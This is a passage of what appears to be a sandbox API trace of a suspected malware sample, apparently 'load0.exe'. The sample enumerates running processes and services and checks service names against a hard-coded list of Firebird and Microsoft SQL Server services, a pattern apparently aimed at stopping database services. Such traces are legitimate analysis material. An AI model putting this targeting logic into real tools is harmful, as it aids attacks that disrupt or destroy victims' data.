(lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0249.749] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0249.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0249.749] lstrlenW (lpString="SysMain") returned 7 [0249.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0249.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0249.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0249.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0249.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0249.749] lstrlenW (lpString="SystemEventsBroker") returned 18 [0249.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0249.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0249.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0249.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0249.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0249.749] lstrlenW (lpString="Themes") returned 6 [0249.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0249.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0249.749] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0249.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0249.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0249.749] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0249.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0249.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0249.749] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0249.749] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0249.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5c50 | out: hHeap=0x630000) returned 1 [0249.750] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1268 [0249.779] Process32FirstW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.780] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.781] lstrlenW (lpString="System") returned 6 [0249.781] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.782] lstrlenW (lpString="smss.exe") returned 8 [0249.782] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.783] lstrlenW (lpString="csrss.exe") returned 9 [0249.783] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.784] lstrlenW (lpString="wininit.exe") returned 11 [0249.784] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.785] lstrlenW (lpString="csrss.exe") returned 9 [0249.785] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.786] lstrlenW (lpString="winlogon.exe") returned 12 [0249.786] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.787] lstrlenW (lpString="services.exe") returned 12 [0249.787] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.788] lstrlenW (lpString="lsass.exe") returned 9 [0249.788] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.789] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0249.789] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.790] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0249.790] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.791] lstrlenW (lpString="svchost.exe") returned 11 [0249.791] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.792] lstrlenW (lpString="svchost.exe") returned 11 [0249.793] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.793] lstrlenW (lpString="dwm.exe") returned 7 [0249.794] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.795] lstrlenW (lpString="svchost.exe") returned 11 [0249.795] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.796] lstrlenW (lpString="svchost.exe") returned 11 [0249.796] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.797] lstrlenW (lpString="svchost.exe") returned 11 [0249.797] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.798] lstrlenW (lpString="svchost.exe") returned 11 [0249.798] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.799] lstrlenW (lpString="svchost.exe") returned 11 [0249.799] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.800] lstrlenW (lpString="svchost.exe") returned 11 [0249.800] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.801] lstrlenW (lpString="svchost.exe") returned 11 [0249.801] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.802] lstrlenW (lpString="svchost.exe") returned 11 [0249.802] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.803] lstrlenW (lpString="svchost.exe") returned 11 [0249.803] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.804] lstrlenW (lpString="svchost.exe") returned 11 [0249.804] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.805] lstrlenW (lpString="spoolsv.exe") returned 11 [0249.805] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.806] lstrlenW (lpString="svchost.exe") returned 11 [0249.806] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.807] lstrlenW (lpString="audiodg.exe") returned 11 [0249.807] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0249.808] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0249.808] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0249.809] lstrlenW (lpString="Memory Compression") returned 18 [0249.809] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0249.810] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0249.810] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.827] lstrlenW (lpString="taskhostw.exe") returned 13 [0249.827] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.828] lstrlenW (lpString="sihost.exe") returned 10 [0249.828] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.829] lstrlenW (lpString="svchost.exe") returned 11 [0249.829] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.830] lstrlenW (lpString="taskhostw.exe") returned 13 [0249.830] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0249.830] lstrlenW (lpString="msoia.exe") returned 9 [0249.830] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.831] lstrlenW (lpString="explorer.exe") returned 12 [0249.831] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0249.832] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0249.832] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0249.833] lstrlenW (lpString="SearchUI.exe") returned 12 [0249.833] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0249.834] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0249.834] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.834] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0249.834] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0249.835] lstrlenW (lpString="load0.exe") returned 9 [0249.835] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0249.836] lstrlenW (lpString="cmd.exe") returned 7 [0249.836] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0249.837] lstrlenW (lpString="conhost.exe") returned 11 [0249.837] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0249.838] lstrlenW (lpString="mode.com") returned 8 [0249.838] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0249.839] lstrlenW (lpString="consent.exe") returned 11 [0249.839] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0249.840] CloseHandle (hObject=0x1268) returned 1 [0249.840] Sleep (dwMilliseconds=0x1f4) [0250.387] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64640 [0250.388] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0250.388] GetLastError () returned 0xea [0250.388] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3fb5c50 [0250.388] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fb5c50, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fb5c50, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0250.389] CloseServiceHandle (hSCObject=0x3f64640) returned 1 [0250.389] lstrlenW (lpString="Appinfo") returned 7 [0250.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0250.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0250.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0250.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0250.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0250.390] lstrlenW (lpString="AppXSvc") returned 7 [0250.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0250.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0250.390] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0250.390] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0250.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0250.390] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0250.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0250.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0250.390] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0250.390] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0250.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0250.390] lstrlenW (lpString="Audiosrv") returned 8 [0250.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0250.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0250.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0250.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0250.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0250.390] lstrlenW (lpString="BFE") returned 3 [0250.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0250.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0250.390] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0250.390] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0250.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0250.391] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0250.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0250.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0250.391] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0250.391] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0250.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0250.391] lstrlenW (lpString="CDPSvc") returned 6 [0250.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0250.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0250.391] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0250.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0250.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0250.391] lstrlenW (lpString="ClickToRunSvc") returned 13 [0250.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0250.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0250.391] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0250.391] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0250.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0250.391] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0250.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0250.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0250.391] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0250.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0250.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0250.391] lstrlenW (lpString="CryptSvc") returned 8 [0250.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0250.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0250.392] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0250.392] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0250.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0250.392] lstrlenW (lpString="DcomLaunch") returned 10 [0250.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0250.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0250.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0250.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0250.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0250.392] lstrlenW (lpString="DeviceAssociationService") returned 24 [0250.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0250.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0250.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0250.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0250.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0250.392] lstrlenW (lpString="Dhcp") returned 4 [0250.392] lstrcmpiW 